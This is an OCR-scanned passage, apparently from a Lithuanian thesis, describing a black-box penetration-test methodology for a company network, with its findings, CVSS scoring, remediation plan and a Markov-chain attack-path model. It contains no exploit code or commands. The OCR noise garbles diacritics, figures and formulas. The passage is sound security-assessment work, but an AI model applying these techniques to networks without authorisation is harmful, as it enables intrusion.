box) metodika, kai tiksliai néra zinomas tinklas ir jo konfigiiracija, turint minimalias Zinias apie
skenuojamus objektus. Sio metodo panaudojimas leidzia atlikti kibernetinés saugos patikrinimg
artimai panasy j realaus piktavalio, bandancio patekti j jmonés organizacijos tinkla. Sio metodo
panaudojimo metu yra nustatomi visi pri¢jimo keliai prie sistemy. Kai yra daugiau nei 10000 Zinomy
saugumo spragy, dazniausiai duomeny apdorojimui ir analizei yra naudojami automatiniai jrankiai,
bet naudojamas ir rankinis veikian¢ios programinés jrangos ir paslaugy patikrinimas, jvairiems
pazeidziamumams nustatyti. Dazniausiai rankinis patikrinimas leidzia nustatyti pazeidZiamumus,
kuriy negali aptikti automatiniai jrankiai, o tokie pazeidziamumai turi itin rimtg poveikj bendram
saugumo lygiui.

Siame darbe naudotas kibernetinés saugos algoritmas paremtas rankiniu procesu, kuomet kibernetinio
saugumo patikrinimo jrankiai naudojami kaip pagalbiniai ir automatizuojantys rutininius veiksmus.

Siame darbe vertinant UAB ,,Mokslas“ IT&T tinklo atsparuma jsilauzimui, buvo atlikta:
- iSorinio tinklo ir sistemy saugumo patikrinimas;
- vidinio tinklo ir sistemy saugumo patikrinimas;
- Zmogiskojo faktoriaus patikrinimas;
- paZeidZiamumy jvertinimas;
- sudarytas priemoniy planas pazeidZiamumams pasalinti.

Siame darbe buvo atliktas iSorinio IT&T tinklo kibernetinio saugumo patikrinimas jsitikinti, ar i3
iSorés (interneto) yra pasiekiamos UAB ,,Mokslas“ valdomos informacinés sistemos. Siame darbe
atliktas iSorinio IT&T tinklo saugumo patikrinimas, kurio metu buvo surinkta informacija apie UAB
»Mokslas“ valdomas sistemas i§ vieSai prieinamy Saltiniy (paieskos sistemy, katalogy ir kt.).
Identifikavus veikiancias sistemas buvo patikrinta, ar $ios sistemos néra pazeidziamos remiantis
zinomomis kibernetinio saugumo spragomis.

Siame darbe buvo patikrintas UAB ,,Mokslas‘ iSorinio IT&T tinklo kibernetinis saugumas, kurio
metu atlikta:

prievadu nuskaitymas;

tinklo architektiiros pazeidZiamumy patikrinimas:

o ar yra daugybiniai SSL / TLS paZeidziamumai;

o ar galimas sisteminés informacijos atskleidimas.

duomeny saugumo patikrinimas:

ar yra XSS pazeidziamumai;

ar galimas IKE agresyvaus rezimo maisos (angl. hash) nutekinimas;
ar galimas slaptazodziy perdavimas neSifruotu kanalu;

ar galimas neapsaugotas nukreipimas kit tinklapj.

atsparumo DoS atakoms patikrinimas;

antivirusiniy sistemy susidorojimo su Zalingu kodu patikrinimas.

1
0O O O O

ISorinio IT&T tinklo kibernetinio saugumo patikrinimo metu buvo ieSkoma atviry prievady UAB
»Mokslas‘ iSorinio IT&T tinklo potinkliuose. ISorinio IT&T tinklo eksperimento metu buvo patikrinti
serveriai tur¢j¢ bent vieng atidarytg prievada.
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Siame darbe buvo atlikti eksperimentai, kuriy metu identifikuoti astuoni iSorinio IT&T tinklo
pazeidZziamumai. Nustatyta, kad:
e iSorinéms informacinéms sistemoms priklausan¢iy tarnybiniy stofiy saugumo buklé
neuztikrina tinkamos duomeny apsaugos;
e piktavalis gali perimti ir i$Sifruoti tarp kliento ir serverio perduodamus privacius duomenis;
e piktavalis gali nukreipti vartotojus j kenké¢jiska puslapj ir taip vykdyti atakas pries jy sistemas;
e piktavalis gali perimti IKE slaptg maisa, kurig gali panaudoti prieigai prie VPN tinklo;
e piktavalis gali perimti prisijungimui prie vartotojy paskyry naudojamus slaptazodzius;
e UAB ,,Mokslas*“ WEB serveris nesugeba susidoroti su dideliu kiekiu HTTP uzklausy ir po
trumpo laiko atsisako aptarnauti kity vartotojy uzklausas;
e UAB ,Mokslas*“ elektroninio pasto laiSky priedy filtravimo sistemos darbas saugumo
atzvilgiu yra priimtinas, bet tikrintuose WEB serveriuose néra jdiegta antivirusiné sistema,
sauganti nuo kenkejisko tipo faily.

Visiems nustatytiems UAB ,,Mokslas* iSorinio IT&T tinklo pazeidziamumams buvo jvertinta vieta
kibernetinés atakos vektoriuje, kuris kaip pavyzdys pavaizduotas 20 pav.

Ginkla- Prista-
vimasis  tymas

Zvalgyba

20 pav. Daugybiniy SSL / TLS pazeidziamumy vieta kibernetinés atakos vektoriuje

Detalus visy auks$¢iau iSvardinty iSorinio UAB ,Mokslas® IT&T tinklo atlikty eksperimenty
aprasymas ir jy rezultatai pateikti Priede Nr. 1.

Siame darbe UAB ,Mokslas* vidaus IT&T tinklo kibernetinio saugumo patikrinimo metu buvo
sickiama nustatyti, ar UAB ,,Mokslas* vidaus IT&T tinklas yra atsparus jsilauzimui bei ar atlikta
tinklo jrangos ir standartinés kompiuterizuotos darbo vietos konfigiiracijos patikra. Tinklo jrangos
patikrinimo metu buvo tikrinamas tinklo jrangos konfigiiracijos saugumas, galimybé nukreipti tinklo
srautg | kitag kompiuter;j ir tokiu btidu perimti konfidencialius duomenis ir/ar slaptazodzius. Taip pat
buvo tikrinama, kaip tinklo infrastruktiira yra apsaugota nuo savavaliSko (nesankcionuoto) tinklo ir
kompiuteriniy jrenginiy pajungimo prie tinklo. Taip pat buvo atliekamas patikrinimas, ar galima viesa
prieiga prie vidinio UAB ,Mokslas“ tinklo spausdintuvy potinklio, ar galima prieiga prie
kompiuterizuoty darbo viety potinklio ir patikrintas tinklo jrangos potinklio saugumas.

Siame darbe buvo patikrintas UAB ,,Mokslas* vidaus IT&T tinklo kibernetinis saugumas, kurio metu
atlikta:
- tinklo jrangos konfiguiracijos patikrinimas:

o ar yra neapsaugota prieiga prie vidinio tinklo;

o ar yra nesaugi ugniasieniy konfigiiracija;
ar naudojama SNMP tarnybos standartin¢ konfigiiracija;
ar galima ARP pakety klastojimo ataka;
ar galima NBNS / LLMNR pakety klastojimo ataka;
ar naudojami tinklo jrangos standartiniai slaptazodziai;

o O O O

- kompiuterizuotos darbo viety saugumo patikrinimas:
o ar yra Windows RDP tarnybos MiTM pazeidZziamumai,
o ar yra Windows SMB tarnybos MiTM paZzeidZziamumai,
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o ar yra nesaugi Windows sistemy konfigtiracija;
Tarnybiniy stociy saugumo patikrinimas:

ar yra Windows RDP tarnybos MiTM pazeidZiamumai;
ar yra Windows SMB tarnybos MiTM pazeidziamumai,
ar yra SSL / TLS konfigiiracijos pazeidziamumai,

o O O O

ar autentifikacija yra naudojama neapsaugota.

UAB ,,Mokslas* vidaus IT&T tinklo saugumo patikrinimo metu buvo ieSkoma atviry prievady Siuose
potinkliuose:

paslaugy potinklis;

tinklo jrenginiy potinklis;
DMZ]1 potinklis;

KDV potinklis;
administratoriy potinklis;
DMZ2 potinklis.

Siame darbe buvo atlikti eksperimentai, kuriy metu identifikuoti trylika vidaus IT&T tinklo
pazeidziamumy,.

Vidinio tinklo jrangos konfigiiracijos patikrinimo metu nustatyta, kad:

UAB ,Mokslas* vidinio IT&T tinklo infrastruktiira néra apsaugota technologinémis
priemonémis nuo nesankcionuoto tinklo ir kompiuteriniy jrenginiy jrengimo;

vidinio tinklo ugniasieniy ir kitos tinklo jrangos konfigtiracija kompiuterizuoty darbo viety
tinklo segmentui neriboja prieigos prie kity tinklo segmenty ir interneto;

SNMP tarnybos standartiné konfigliracija gali buti panaudota sisteminés informacijos
surinkimui bei tikétina tinklo jrangos konfigiiracijos keitimui;

ARP pakety klastojimo ataka gali biiti panaudota konfidencialiy duomeny, tokiy kaip
prisijungimo slaptazodziai perduodami atviro teksto protokolais, perémimui;

NBNS pakety klastojimo atakos metu slaptazodziai nebuvo s¢kmingai parinkti;

prieiga prie administravimo sgsajy gali biiti panaudota saugumo nustatymy keitimui ir tinklo
srauto perémimui.

Vidinio tinklo kompiuterizuotos darbo vietos patikrinimo metu nustatyta, kad:

UAB ,,Mokslas* yra kritiniy paZzeidziamumuy, kuriy panaudojimas priveda prie konfidencialiy
duomeny pasisavinimo. Piktavalis gali perimti ir i8Sifruoti tarp kliento ir serverio
perduodamus privacius duomenis arba gauti prieiga prie nutolusios sistemos;

dabartine Windows sistemos konfigliracija yra pazeidziama jvairioms atakoms, kuriy
rezultatas — nuotoliné prieiga prie sistemos.

Vidinio tarnybiniy stoc¢iy patikrinimo metu nustatyta, kad UAB ,,Mokslas* tarnybiniy sto¢iy saugumo
biiklé neuztikrina aukSto saugumo lygio. Piktavalis gali perimti ir i$Sifruoti tarp kliento ir serverio
perduodamus privacius duomenis arba gauti prieigg prie nutolusios sistemos, o taip pat gauti prieiga
prie konfidencialiy duomeny arba leisti sisteminiy komandy vykdyma. Piktavalis gali perimti ir

i88ifruoti tarp kliento ir serverio perduodamus privacius duomenis.

Visiems nustatytiems UAB ,,Mokslas* vidinio IT&T tinklo pazeidziamumams buvo jvertinta vieta
kibernetinés atakos vektoriuje, kuri, kaip pavyzdys, pavaizduota 21 pav.
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Ginkla-~. Prista-\ Naudo-=
vimasis ~ tymas :

Zvalgyba

21 pav. ARP pakety klastojimo atakos vieta kibernetinés atakos vektoriuje

Detalus visy auks$c¢iau iSvardinty vidinio UAB ,Mokslas®“ IT&T tinklo atlikty eksperimenty
aprasSymas ir jy rezultatai pateikti Priede Nr. 2.

Siame darbe Zmogiskojo faktoriaus patikrinimo metu buvo siekiama nustatyti ar UAB ,,Mokslas“
darbuotojy gebéjima identifikuoti kibernetinés saugos pavojus.

Siame darbe buvo vykdomas UAB ,,Mokslas“ zmogiskojo faktoriaus patikrinimas, kurio metu buvo
atlikta:

- darbuotojy kompetencijos patikrinimas;

- saugos politikos perziiira.

Detalus visy auksciau iSvardinto UAB ,,Mokslas* Zzmogiskojo faktoriaus patikrinimo aprasymas ir jo
rezultatai pateikiami Priede Nr. 3.

Siame darbe buvo jvertintas kiek yra paZeidziamas pasirinktas UAB ,,Mokslas* IT&T tinklas. Pagal
identifikuotus UAB ,Mokslas* IT&T tinklo pazeidziamumus ir vadovaujantis ITU
rekomendacijomis Nr. ITU-T X.1521 ,PazeidZziamumo vertinimo sistema® [43] atlikti
pazeidziamumo grésmes baly skaiciavimai, kurie leisty IT&T turétojui numatyti veiksmus ir iSteklius
pagal keliamg pazeidziamumy grésme.

Siame darbe atlikus UAB ,Mokslas“ iSorinio tinklo kibernetinio saugumo patikrinima gauti
pazeidziamumy patikrinimo rezultatai, kurie, kaip pavyzdys, buvo surasyti j 4 lentelg.

4 lentelé. UAB ,,Mokslas* iSorinio IT&T tinklo kibernetinio saugumo pazeidziamumy patikrinimo rezultaty
pavyzdys

CVSS3 [CVSS3 vektorius [43]

PazZeidziamumo aprasSymas o
prasy reik§mé [43]

ISorinio tinklo architektiiros paZeidZiamumy patikrinimas

Daugybiniai SSL / TLS paZeidZiamumai

v s . Y .. . AV:N/AC:H/PR:N/UL:N
Pazeidziamumo panaudojimas mazai tikétinas, nes butl'rvlfl. tinklo srauto 48 S-U/C-L/I-L/A-N
tarp kliento ir serverio perduodamus privacius duomenis. (VisiTo)

Siame darbe atlikus UAB , Mokslas“ vidinio tinklo kibernetinio saugumo patikrinima gauti
pazeidziamumy patikrinimo rezultatai, kurie, kaip pavyzdys, buvo surasyti | 5 lentele.
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5 lentelé. UAB ,,Mokslas* vidinio IT&T tinklo kibernetinio saugumo pazeidziamumy patikrinimo rezultaty
pavyzdys

CVSS3 CVSS3 vektorius [43]

PaZeidZiamumo apraSymas v .
prasy reikSme [43]

Tinklo jrangos konfigiiracijos patikrinimas

Nesaugi ugniasieniy konfigiiracija

Pazeidziamumas yra nesunkiai aptinkamas ir panaudojamas AV:N/AC:L/PR:L/ULN
standartinémis priemonémis, taciau tam biitina prieiga prie vidinio tinklo. 54 S:U/C:L/I:N/A:N
Gavus prieigg prie vienos i§ kompiuterizuoty darbo viety sistemy galima (Vi dﬁtiné)
vykdyti atakas prie§ sistemas esancias tarnybiniy sto¢iy ir DMZ1 tinklo
segmentuose.

Detaliis visy auksciau iSvardinty UAB ,,Mokslas* IT&T tinklo pazeidziamumo jvertinimo rezultaty
apraSymas pateikiamas Priede Nr. 4.

Siame darbe buvo sudarytas pasirinkto UAB ,Mokslas* IT&T tinklo paZeidziamumy pasalinimo
priemoniy planas. Pagal identifikuotus UAB ,,Mokslas“ IT&T tinklo paZeidziamumus ir jvertinus
pazeidziamumo sritis (konfidencialumo, vientisumo, prieinamumo) ir reikalingas panaudoti
priemones (konfigiiravimo, techninés, organizacinés, kompetencijos) sudarytas UAB ,,Mokslas*
IT&T tinklo paZeidZziamumy pasalinimo priemoniy planas. Siame darbe atlikus UAB ,,Mokslas*
iSorinio IT&T tinklo kibernetinio saugumo patikrinimg sudarytas pazeidziamumy paSalinimo
priemoniy planas, kuris, kaip pavyzdys, buvo suraSytas j 6 lentelg.

3

6 lentelé. UAB ,,Mokslas*“ vidinio IT&T tinklo kibernetinio saugumo tinklo architektiiros pazeidziamumy
priemoniy plano pavyzdys

Priemoné Konfigiiravimo Techninés Organizacinés Kompetencija
Sritis
Daugybiniai SSL / TLS pazeidziamumai
Konfidencialumas X X
Vientisumas X X
Prieinamumas X X
Veiksmai Silpny saugumo Sifravimo algoritmy ir SSL protokolo pazeidziamumy
iStaisymui rekomenduojama perkonfigiiruoti pazeidziamy HTTP serveriy
SSL tarnybas. Microsoft IIS WEB serveris neturi paprasto biido ar priemoniy
Sifravimo protokolo SSLv2 uzdraudimui, konfigiiracijos keitimas atlieckamas
keiciant specifines reikSmes Windows registre. Norint iSspresti pasibaigusio
galiojimo sertifikato pazeidziamuma butina jsigyti patikimy CA (Certificate
Authority) iSduota SSL sertifikata, kuriuo pasitiki visos populiariausios
interneto narSyklés. Pasenusi OpenSSL versija turi biiti atnaujinta kartu su
Apache HTTP programine jranga.
Sisteminés informacijos atskleidimas
Konfidencialumas
Vientisumas
Prieinamumas X
Veiksmai Biitina jsitikinti ar yra i§jungtas derinimo rezimas WEB aplikacijoje perkélus
ja i$ testinés aplinkos | gamybing. Klaidy praneSimuose turi biiti pateiktas
minimalus kiekis sisteminés informacijos. Geriausia praktika, kuomet yra
konstatuojamas klaidos faktas, taCiau nepateikiama jokios iSsamios
informacijos.

Detalus visy eksperimento metu nustatyty UAB ,,Mokslas* IT&T tinklo pazeidziamumy pasalinimo
priemoniy planas pateikiamas Priede Nr. 5.
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5. Kibernetinés saugos algoritmo perZiiira

Siame darbe atlikta IT&T tinklo kibernetinés saugos vertinimo algoritmo perZiiira ir atnaujintas
algoritmas pavaizduotas 22 paveiksle.

+
C:E 1. Informacijos rinkimas

< dide Ar o 1.1 Pagal tinklo

Qe e'a'd' {nkias? architektiira

h‘a'p a"’ ‘. 1.2 Pagal
Talp Ta|p Talp a O

| “aptikimo sistemas

jsibrovimo
Ta|
Tal Arpllnamfo? Ne

1.3.1 Balta grupé 1.3.2 Pllka grupé 1.3.3 Juoda grupé

(2 2. Zvalgyba
|

2.1 Techniniy duomeny surinkimas
\
2.2 Viesos informacijos surinkimas

2.3 Techniniy duomeny skenavimas

3. Tinklo ir sistemy atsparumo
2 kibernetinés sellugos patikrinimas
B | - 3.1 ISores tinlklo ir sistemy
|| 3.2 Vidiniy tll’lklf) ir S}stemq atsparumo patikrinimas
atsparumo patikrinimas 3.1.1 Tinklo architektiiros
| 3.2.1 Tinklo jrangos pazeidziamumy patikrinimas
konfigiiracijos patikrinimas

3.1.2 Duomeny saugumo
— | 3.2.2 KDV patikrinimas patikrinimas

3.2.3 Tarnybiniy stociy a 3.1.3 Atsparumas DoS

— patikrinimas atakoms patikrinimas

3.1.4 Antivirusiniy sistemy
veiklos patikrinimas

g} O> 4. Zmogiskojo faktoriaus
[ patikrinimas
I

[ | |
4.1 Darbuotojy 4.2 Politikos 4.3 Darbo viety

> l
%5 5. Pazeidziamumo jvertinimas
= |

-+
% 6. Priemoniy plano parengimas
S]

22 pav. Atnaujintas IT&T kibernetinés saugos vertinimo algoritmas
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Atnaujinto IT&T tinklo kibernetinés saugos vertinimo algoritmo aprasSymas.

Informacijos rinkimo (1 etapas) metu siekiama kiek jmanoma daugiau informacijos surinkti apie
IT&T tinkla ir sistemas. Siame etape visy pirma surenkame informacija apie tinkla pagal duomeny
surinkimo i§ tinklo architekttirg (1.1 etapas). Didelis tinklas, kurio tinklo elementai yra nutole ir
tarpusavyje susije. Belaidis tinklas tai belaidZio rySio tinklas. IT tinklas, kai tinkle naudojamas
serverio-agento modelis. IRT tinklas tai klasikinis IT&T tinklas. Surenkame informacija apie tinkle
naudojamas tinklo jsilauzimo aptikimo sistemas (1.2 etapas). Surinkus $ig informacijg sudarome 7
lentele, kurioje pazymima kokiame tinkle kokia jsilauzimo aptikimo sistema yra naudojama ir kokioje
apimtyje yra naudojama. Siekiant susidaryti visapusiskg vaizda apie IT&T tinklg ir sistemas sitiloma
uzpildyti kibernetiniy riziky klausimyna, kuris aprasSytas priede Nr. 6.

7 lentelé. Turimas tinklas ir naudojamos sistemos

Pagal duomeny | Didelis tinklas, kuris Belaidis Tinkle naudojamas IT&T tinklas
surinkimo i$ tinklo | tarpusavyje susijgs, turi tinklas serverio—agento
architektiirg nutolusiy tinklo modelis
Pagal elementy
jsilauzimo aptikimo
sistemas
DIDS
WIDS
HIDS
NIDS
NBA

Jeigu turimame tinkle veikia bet kokio tipo jsilauzimo aptikimo sistema ar sistemos, kurios apima
visus tinklo elementus arba tinklo turétojas turi ar gali suteikti pri¢jima prie triikstamos informacijos,
jis yra priskiriamas ] balta grupe (1.3.1 etapas). Jeigu turimame tinkle veikia bet kokio tipo jsilauzimo
aptikimo sistema, bet neapima visy tinklo elementy arba néra visos informacijos apie tinkla, jis yra
priskiriamas | pilka grupe (1.3.2 etapas). Jeigu turimame tinkle neveikia bet kokio tipo jsilauzimo
aptikimo sistema ir yra nedaug informacijos arba norima atlikti patikrinimg artimai panasy j realaus
jsilauzelio, jis yra jtraukiamas j juoda grupe (1.3.3 etapas).

Ivykdzius §j etapg pereiname prie 2 etapo.

Kitame etape (2 etapas) renkami techniniai duomenys apie IT&T tinklo pazeidziamas vietas.
Techniniy duomeny susirinkimo (2.1 etapas) metu i§ jsilauzimo aptikimo sistemy surenkama
informacija apie tinklo srauty parametrus ir aptiktus iSpuolius, jsibrovimus.

Viesosios informacijos surinkimo (2.2 etapas) metu surinkama kiek jmanoma daugiau informacijos
1§ vieSy Saltiniy apie IT&T tinklo veikla.

Techniniy duomeny nuskaitymo (2.3 etapas) metu atlickamas prievady nuskaitymas siekiant nustatyti
ju teikiamas paslaugas. Kiekvienam atviram prievadui IT&T tinklo objektuose atlickamas prievade
veikiancios tarnybos identifikavimas, kadangi prievado numeris savaime nesuteikia informacijos,
kokia tarnyba jame prieinama. Atviry prievady ir juose dirbanciy tarnyby patikrinimo objektuose
visuma leidZzia nustatyti kokia operacin¢ sistema veikia testuojamame objekte, kas yra svarbu
bendram infrastruktiiros, prie§ kurig nukreiptas jsilauzimo patikrinimas, suvokimui bei tinkamos
jsilauzimo patikrinimo krypties pasirinkimui. Sio etapo metu gaunami tokia informacija: ugniasienés
konfigiiracija, veikianciy sistemy sarasas, atviry TCP / UDP prievady sarasas, veikianciy tarnyby
sgraSas, operaciniy sistemy sarasas.

51



Ivykdzius §j etapg pereiname prie 3 etapo.

IT&T tinklo atsparumo kibernetinés saugos patikrinimo metu (3 etapas) yra pasirenkamas tinklas,
kuriame bus atliekami kibernetinés saugos patikrinimai. Dazniausiai vykdomi iSorinio ir vidinio
IT&T tinklo saugumo patikrinimas.

IT&T iSorinio tinklo atsparumo kibernetinés saugos patikrinimo metu (3.1 etapas) atlieckami tinklo
architektiiros, duomeny saugumo pazeidZiamumy patikrinimai, atsparumo DoS atakoms,
antivirusiniy sistemy susidorojimo su zalingu kodu patikrinimas. Nustatytiems pazeidZiamumams
jvertinama vieta kibernetinés atakos vektoriuje.

IT&T iSorinio tinklo architektiiros pazeidziamumy jvertinimo metu (3.1.1 etapas) sudaromas tuo
perimti ta srautg jj uzvaldant. Prie tinklo architektiros pazeidziamumy priskiriami tokie
pazeidziamumai, kurie atskleidzia sisteming¢ informacija, pavyzdziui, iSsamus klaidos pranesimy
rodymas, jdiegtos programinés jrangos versijos nustatymas, direktorijy turinio ir kelio iki Sakninio
katalogo atskleidimas. Nustatytiems paZeidziamumams jvertinama vieta kibernetinés atakos
vektoriuje.

IT&T iSorinio tinklo duomeny saugumo patikrinimo metu (3.1.2 etapas) sudaromas tuo metu Zinomy
pazeidziamumy sgraSas ir jvertinamos saugumo spragos, kurios gali biiti panaudotos pri¢jimui prie
sistemy ar duomeny gauti. Tai yra vienintelis kelias siekiant iSsiaiskinti ar sistema tikrai pazeidziama.
Sio patikrinimo metu gaunama informacija apie paZeidzamumus (vartotojy vardai, slaptazodziai,
ekrano nuotraukos ar slapti duomenys). Nustatytiems paZeidZiamumams jvertinama vieta
kibernetinés atakos vektoriuje.

Atsparumo DoS atakoms patikrinimo metu (3.1.3 etapas) siekiama jsitikinti, ar WEB serveris sugeba
susidoroti su dideliu kiekiu HTTP uZzklausy. Nustatytiems pazeidziamumams jvertinama vieta
kibernetinés atakos vektoriuje.

Antivirusiniy sistemy susidorojimo su zalingu kodu patikrinimo metu (3.1.4 etapas) analizuojamas
elektroninio pasto filtro bei WEB serveriuose jdiegty antivirusiniy sistemy gebé¢jimas susidoroti su
kenkejiskais failais. Nustatytiems pazeidZiamumams jvertinama vieta kibernetinés atakos vektoriuje.

IT&T vidinio tinklo atsparumo kibernetinés saugos patikrinimo metu (3.2 etapas) atliekami esminiai
vidinio tinklo patikrinimai tokie, kaip tinklo jrangos konfigiiracijos, kompiuterizuotos darbo viety ir
tarnybiniy sto¢iy saugumo patikrinimai. Nustatytiems pazeidziamumams jvertinama vieta
kibernetinés atakos vektoriuje.

Tinklo jrangos konfigiiracijos patikrinimo metu (3.2.1 etapas) yra sudaromas tuo metu Zinomy
pazeidziamumy sgraSas ir tikrinamas tinklo jrangos konfigiiracijos saugumas, galimybé nukreipti
tinklo srautg j piktavalio kompiuterj ir tokiu biidu perimti konfidencialius duomenis ir/ar
slaptazodzius. Taip pat yra tikrinama, kaip vidinio tinklo infrastruktiira yra apsaugota nuo savavaliSko
(nesankcionuoto) tinklo ir paSaliniy kompiuteriniy jrenginiy pajungimo. Nustatytiems
pazeidziamumams jvertinama vieta kibernetinés atakos vektoriuje.

Kompiuterizuotos darbo viety saugumo patikrinimo metu (3.2.2 etapas) yra sudaromas tuo metu
zinomy pazeidziamumy sgrasas ir tikrinama operaciniy sistemy ir jose veikianciy aplikacijy
atnaujinimo lygis ir ar jos néra pazeidziamos. Taip pat yra tikrinimas kompiuterizuoty darbo viety ir
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jose veikianciy aplikacijy konfigiiracijos saugumas, kuris leisty vartotojams eskaluoti teises
prisijungiant prie naudojamy sistemy. Taip pat yra tikrinamas veikian¢iy duomeny baziy sistemy
programinés jrangos atnaujinimo lygis ir konfigiiracija. Nustatytiems paZeidZiamumams jvertinama
vieta kibernetinés atakos vektoriuje.

Tarnybiniy sto€iy saugumo patikrinimo metu (3.2.3 etapas) yra sudaromas tuo metu Zinomy
pazeidziamumy sarasas ir tikrinamos vidiniame tinkle veikianiy tarnybiniy sto¢iy operacinés
sistemos bei ar jos néra pazeidziamos. Taip pat yra tikrinimas sistemy tarnybiniy stociy ir jose
veikianc¢iy aplikacijy konfigiiracijos saugumas, kuris leisty vartotojams eskaluoti teises prisijungiant
prie naudojamy sistemy. Taip pat yra tikrinamas veikian¢iy duomeny baziy sistemy programinés
jrangos atnaujinimo lygis ir konfigiiracija. Nustatytiems pazeidziamumams jvertinama vieta
kibernetinés atakos vektoriuje.

Atlikus IT&T tinklo atsparumo kibernetinés saugos patikrinimo veiksmus rekomenduojama atlikti
patikrinimo procesy iSvalyma, jvertinimui sukurty pazeidziamumy ir kenkéjisky programy (angl.
exploits) pasalinimg ir IT&T tinklo paramentrai turi biiti grazinti j iki patikrinimo buvusig biiseng.

Ivykdzius §j etapg pereiname prie 4 etapo.

Zmogiskojo faktoriaus patikrinimo metu (4 etapas) atliekama patikrinimai siekiant jsitikinti, kad
darbuotojai geba (4.1 etapas) pastebéti vykdomas duomeny vagystés atakas. Patikrinimui dazniausiai
naudojama socialin¢ inzinerija ir yra siunc¢iami laiskai jstaigos darbuotojams, analizuojami vartotojy
slaptazodziy atitikimo saugos reikalavimams bei bandoma atskleisti konfidencialig informacija
nesifruotais duomeny perdavimo kanalais. Taip pat atlickama saugos politikos perzitra (4.2 etapas)
siekiant jsitikinti ar yra laikomasi tam tikry saugos politikose nurodyty taisykliy, t. y. ar darbuotojai
laikosi saugaus slaptazodzio sudarymo bei jo saugojimo taisykliy ir pan. Taip pat atlickamas darbo
viety (4.3 etapas) patikrinimas, siekiant jsitikinti ar darbuotojai saugiai naudoja jautrig informacija,
nepalieka vieSai matomose vietose prisijungimo duomeny.

Ivykdzius §j etapg pereiname prie 5 etapo.

Atliekant pazeidZziamumo jvertinimg (5 etapas) atlickami skai¢iavimai pagal metodika, kuri apraSyta
1.5 skyriuje [43]. Sie skai¢iavimai parodo kiek yra pazeidziamas IT&T tinklas.

Siekiant suprasti kiek patikrinimo metu identifikuoti tinklo pazeidzamumai gali sukelti realig atakos
grésme, reikalinga nustatyti kokia tikimybé, kad jvyks kibernetiné ataka.

Norint jvertinti tikimybe, kad jvyks kibernetiné ataka, reikalinga atlikti tinklo pazeidziamumy analize
(3 etapas). Atlikus analize identifikuojame pazeidziamumy vietg kibernetinés atakos vektoriuje bei
atlikus pazeidziamumo vertinimo skai¢iavimus gauname CVSS3 reikSmg [43], kuri atspindi bendra
zinomy pazeidziamumy panaudojimo vertg. Skaiiavimuose naudosime CVSS3 reikSmes [43]
pagrindinj rodiklj susideda i§ naudingumo ir poveikio rodikliy. Naudingumo rodiklis atspindi
pazeidziamumo savybiy vertg, kurias galima sékmingai panaudoti kibernetinio iSpuolio metu, o
poveikio rodiklis atspindi paveikto komponento savybes, kurias galima panaudoti kibernetinio
iSpuolio metu siekiant konfidencialumo, vientisumo ir prieinamumo pazeidimams jgyvendinti.

Norint jvertinti kokius pazeidZziamumus panaudojant galima suformuoti ir trumpiausiu keliu atlikti
kibernetiné ataka, buvo sukurtas galimos kibernetinés atakos prognozavimo modelis. Sudarant $§j
modelj buvo naudojamos grafy ir Markovo grandiniy teorijas.
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Sudarydami galimos kibernetinés atakos prognozavimo model; suformuosime grafa, kuris susideda
1§ rasty pazeidziamumy tinkle ir kibernetinés atakos vektoriaus. Piktavalis norédamas pasiekti savo
tiksly ne tik naudojasi tinkle esanciais pazeidziamumais, bet ir privalo pereiti kibernetinés atakos
vektoriaus etapus, t. y. norint pasiekti kibernetinés atakos vektoriaus diegimo etapg piktavalis turi
pereiti Zvalgybos, ginklavimosi, pristatymo ir naudojimo etapus, o kiekviename etape piktavalis gali
panaudoti skirtingus pazeidziamumus.

Kadangi piktavaliui norint panaudoti pazeidziamumus vienokiu ar kitokiu tikslu, panaudojant juos
viename ar kitame kibernetinés atakos vektoriaus etape tai 1§ pazeidziamumy ir jy sarySiy su
kibernetinés atakos vektoriaus etapais galime suformuoti dvi matricas:

- pazeidziamumy panaudojimo matrica, kurig galima apraSyti 14 formule;
- kibernetinés atakos vektoriaus matrica, kurig galima aprasyti 16 formule.

Suformuojame pazeidziamumy panaudojimo matrica, kurig galima apraSyti formule:
Gpp = (Ei: V]) P (14)

¢ia: E; — pazeidziamumas, kurio savybémis galima panaudoti norint pereiti j kibernetinés atakos
vektoriaus V; elementy; V; — kibernetinés atakos vektoriaus elementas, kuris pasiekiamas E;
pazeidziamumu.

Sioje Gy, matricoje E; briauny reikimé k yra lygi tiek pazeidziamumy, kiek savo savybémis galima
panaudoti norint pereiti | kibernetinés atakos vektoriaus V; elementa.

Sioje G,, matricoje virsiiniy reikimé v = 5, nes bus panaudoti kibernetinés atakos vektoriaus
elementai iki diegimo etapo, nes po diegimo etapo yra tik techninis ir laiko klausimas, kada jvyks
ataka.

Sioje Gy, matricoje V; virsiinés aibés reikime lygi:
Vj(p'v) = 1/Npp 5 (15)

¢ia: N, — skai€ius, nurodantys kiek etapy uzima nustatytas paZeidZziamumas kibernetinés atakos
vektoriuje. Pvz. jeigu paZeidZiamumas yra aktualus tik ginklavimosi ir pristatymo etapuose, tai Ny, =
2,0V;=1/2=0,5.

Kadangi Sioje G, matricoje V; vir§iiniy biisenos sudaro bendra jvykiy sistema, tai Sioje matricoje
kiekvieno stulpelio suma yra lygi 1, t. y.:

Z;{:l Vp,v = 1 .
Suformuojama kibernetinés atakos vektoriaus matrica, kurig galima aprasSyti formule:
Gkap = (Vil E']) D (16)

¢ia: V; — kibernetinés atakos vektoriaus elementas i$ kurio yra galima pasiekti £; pazeidziamuma; E;
— pazeidziamumas, kurio savybémis galima panaudoti norint testi j kibernetinés ataka.

Sioje Giqp matricoje E; virsiiniy reikimé k bus lygi nustatyty paZzeidziamumy kiekiui, t. y. §i aibé bus
tokio dydzio, kiek bus nustatyta pazeidziamumy.
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Sioje Gy matricoje V; briaunos reikimé p = 5, nes naudojami kibernetinés atakos vektoriaus
elementai iki diegimo etapo, nes po diegimo etapo yra tik techninis ir laiko klausimas kada jvyks
ataka.

Sioje Grap matricoje V; briaunos aibés reik§mé lygi:
Vi(p,v) = 1/Nkap > (17)

¢ia: Nigp — skaiCius, nusakantis kiek nustatyty pazeidZziamumy yra kibernetinés atakos vektoriuje. Pvz.
jeigu yra nustatyti 5 pazeidziamumai tai N, = 0,2, 0 Eg=1/5=0,2.

Kadangi Sioje Gigp matricoje V; briauny biisenos sudaro bendrg jvykiy sistema, tai Sioje matricoje
kiekvienos eilutés suma yra lygi 1, t. y.

k —
izlv;),v =1.

I§ §iy matricy suformuojame kibernetinés atakos grafa. Sio grafo pagalba mes galime paskaiiuoti
trumpiausig viduting kiberneting ataka, o taip pat sumodeliuoti visus galimus kibernetinés atakos
modelius.

